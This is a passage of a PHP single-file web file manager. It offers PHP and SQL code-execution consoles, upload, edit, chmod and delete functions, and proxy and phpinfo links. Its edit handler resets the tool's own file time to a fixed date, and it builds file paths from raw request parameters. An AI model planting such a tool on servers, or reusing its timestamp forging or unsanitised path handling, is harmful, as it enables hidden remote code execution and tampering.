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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
